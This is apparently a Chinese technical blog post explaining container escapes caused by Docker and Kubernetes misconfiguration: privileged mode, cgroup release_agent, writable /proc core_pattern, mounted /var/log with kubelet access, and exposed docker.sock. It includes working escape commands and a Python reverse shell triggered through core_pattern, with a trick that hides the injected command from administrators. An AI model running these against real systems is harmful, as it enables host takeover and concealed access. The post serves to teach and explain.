配置不当导致的容器逃逸

Posted by kingkk on 2021-01-17

前言

代码安全搞不动了,这几天又开始摸鱼k8s,记录下一些由于配置不当导致的容器逃逸,以及一些利用方式和原理。

privileged特权模式

privileged简介

docker中提供了一个--privileged参数,这个参数本身最初的目的是为了提供在docker中运行docker的能力
https://www.docker.com/blog/docker-can-now-run-within-docker/

docker文档中对这个参数的解释如下
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities

当操作员执行时docker run –privileged,Docker将启用对主机上所有设备的访问,并在AppArmor或SELinux中进行一些配置,以允许容器对主机的访问几乎与在主机上容器外部运行的进程相同。

如何启动一个特权模式容器

在docker命令行中可以通过如下命令启动一个特权容器

1
docker run -it --privileged nginx /bin/bash

k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器

1
2
securityContext:
privileged: true

如何检测当前环境是否是以特权模式启动

在容器中时可以通过如下参数检测当前容器是否是以特权模式启动

1
cat /proc/self/status | grep CapEff

如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff

这里可以稍微延申一下linux的Capabilities机制
https://man7.org/linux/man-pages/man7/capabilities.7.html
它对用户的权限进行了更细致的分类,可以对单个线程进行更精度的权限控制。避免粗暴的root特权用户和常规用户的简单区分。当一个进程要进行某个特权操作时,操作系统会检查cap_effective的对应位是否有效,而不再是检查进程的有效UID是否为0。

一个线程拥有五个Capabilities集合PermittedInheritableEffectiveBoundingAmbient
分别对应了/proc/self/status中的CapPrmCapInhCapEffCapBndCapAmb
Effective集合就是主要的当前线程特权操作权限(Capabilities)的集合。

例如通过sudo -s切换成root用户之后就可以看到Capabilities权限的变化

通过capsh命令可以解码出具体的Capabilitie

简而言之,如果当前容器中的CapEff0000003fffffffff时则有了宿主机root用户的特权模式

挂载宿主机目录

在特权模式下,可以直接挂载宿主机的磁盘,chroot之后就可以像访问本地文件一样,读取宿主机上的文件

1
2
3
mkdir /abc
mount /dev/sda1 /abc
chroot /abc/


或者其实这里写下crontab应该也可getshell

执行宿主机系统命令

如下文章中给出了这样一个思路,通过notify_on_release实现容器逃逸
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
先给出poc,在宿舍机上执行了ps aux,并将结果写入/ouput文件

1
2
3
4
5
6
7
8
9
# In the container
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

可以看到创建了一个cgroup,并且通过notify_on_release机制执行容器中的可执行文件。
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
并且其中通过sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab获取当前容器文件路径在宿主机上的绝对路径也算一个小trick。
这样就可以在宿主机上执行容器中的文件,并将结果写入容器中的文件。

并且这个利用方式的要求比完全特权模式要更宽松一些,只需要满足以下条件即可

  • 以root用户身份在容器内运行
  • 使用SYS_ADMINLinux功能运行
  • 缺少AppArmor配置文件,否则将允许mountsyscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内
1
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash

挂载/proc

linux中的/proc目录是一个伪文件系统,其中动态反应着系统内进程以及其他组件的状态。
当docker启动时将/proc目录挂载到容器内部时可以实现逃逸。

通过文档可知,/proc/sys/kernel/core_pattern文件是负责进程奔溃时内存数据转储的,当第一个字符是|管道符时,后面的的部分会以命令行的方式进行解析并运行。
https://man7.org/linux/man-pages/man5/core.5.html
并且由于容器共享主机内核的原因,这个命令是以宿主机的权限运行的。

由于管道符的原因,错误的数据可能会扰乱我们的命令,因此这里用python接受并且忽略错误数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3
import os
import pty
import socket
lhost = "172.17.0.1"
lport = 10000
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')
pty.spawn("/bin/bash")
# os.remove('/tmp/.x.py')
s.close()
if __name__ == "__main__":
main()

并且创建一个会抛出段错误的程序

1
2
3
4
5
6
#include<stdio.h>
int main(void) {
int *a = NULL;
*a = 1;
return 0;
}

然后在core_pattern文件中写入运行反弹shell的命令(这里需要注意由于是以宿主机上的权限运行的,因此python的路径则也是docker目录的路径)

1
2
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo -e "|$host_path/tmp/.x.py \rcore " > /host-proc/sys/kernel/core_pattern

\r之后的内容主要是为了为了管理员通过cat命令查看内容时隐蔽我们写入恶意命令。
这样当我们运行c文件之后,就会抛出段错误,然后执行core_pattern中的命令(运行成功core_pattern时会有core dumped的输出)

此时就能监听到返回的shell

挂载/var/log

https://github.com/danielsagi/kube-pod-escape
这里用单纯的挂载/var/log来形容这个逃逸的触发条件其实不太严谨,需要满足如下条件。

  • 挂载了/var/log
  • 容器是在一个k8s的环境中
  • 当前pod的serviceaccount拥有get|list|watch log的权限

个人感觉这个条件其实还是蛮合理的,并不牵强,类似于赋予了当前pod一个读取日志的能力。
当满足以上条件时,可以与node节点的10250端口进行通信,并通过软链接的方式读取node上的文件。

通过github中给出的yaml文件可以快速启动这样一个场景。可以来分析以下这个yaml配置到底做了些什么操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
apiVersion: v1
kind: ServiceAccount
metadata:
name: logger
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: user-log-reader
rules:
- apiGroups: [""]
resources:
- nodes/log
verbs: ["get", "list", "watch"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: user-log-reader
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: user-log-reader
subjects:
- kind: ServiceAccount
name: logger
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: escaper
spec:
serviceAccountName: logger
containers:
- name: escaper
image: danielsagi/kube-pod-escape
volumeMounts:
- name: logs
mountPath: /var/log/host
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory

可以看到前三个配置主要是设置了一个nodes/logget|list|watch权限,并且将这个权限赋予给logger对象。再以logger对象启动了一个pod。

这时候在pod中通过serviceaccount的token就可以访问node上10250端口并获取log

1
2
token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k https://172.17.0.1:10250/logs/ -H "Authorization: Bearer $token"


当然,访问一些/pods之类的目录时由于没有权限,访问会被禁止

继续回到logs,这个目录其实就是当前容器上被挂载的/var/log/host目录

同时也是node节点上的/var/log/

这样当我们通过软链接的方式在当前log目录下创建一个指向根目录的链接时

1
ln -s / ./root_link

在容器和node中这个root_link文件指向的都是自己本机的根目录

因此通过node的10250访问logs/root_link时,访问到的是node节点上的根目录,从而就可以读取到node机子上的文件

github中的脚本则通过这种方式遍历了node节点上的敏感文件,并下载到本地
https://github.com/danielsagi/kube-pod-escape/blob/master/find_sensitive_files.py

挂载docker.sock


docker cli默认通过unix套接字与容器进行通信以及下发指令,当挂载了/var/run/docker.sock文件时,就可以对这个unix套接字文件下发docker指令,就像在node机器上操纵docker一样。

这里通过如下命令挂载/var/run目录

1
sudo docker run --rm -it -v /var/run/:/host-var-run/ centos /bin/bash

为了方便这里我们将自己机子上的docker cli cp进容器。(尝试过在容器中直接yum但是下载下来的cli似乎不能用,建议实战中直接传一个cli)

然后通过-H命令指定unix套接字文件的地址即可

1
./docker -H unix:///host-var-run/docker.sock ps


这样能操纵宿主机上的docker

这样容器逃逸也就变得简单了,直接新起一个docker,将宿主机的根目录挂载进去,并且以特权模式启动。
之后的过程就很简单了,这里就不赘述了。

References

https://mp.weixin.qq.com/s?__biz=MzIyODYzNTU2OA==&mid=2247487393&idx=1&sn=6cec3da009d25cb1c766bb9dae809a86&chksm=e84fa97edf382068250b4811419aa17811c7f244ab87dcbcbe63be328f98ecaf0ab9feeedf8c&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?subscene=19&__biz=MzIyODYzNTU2OA==&mid=2247487590&idx=1&sn=060a8bdf2ddfaff6ceae5cb931cb27ab&chksm=e84fb6b9df383faf1723040a0d6f0300c9517db902ef0010e230d8e802b1dfe9d8b95e6aabbd
https://xz.aliyun.com/t/7881
https://xz.aliyun.com/t/8558
https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities
https://www.docker.com/blog/docker-can-now-run-within-docker/
https://man7.org/linux/man-pages/man7/capabilities.7.html
https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/
https://www.kernel.org/doc/Documentation/cgroup-v1/cgroups.txt
https://man7.org/linux/man-pages/man5/core.5.html
https://github.com/danielsagi/kube-pod-escape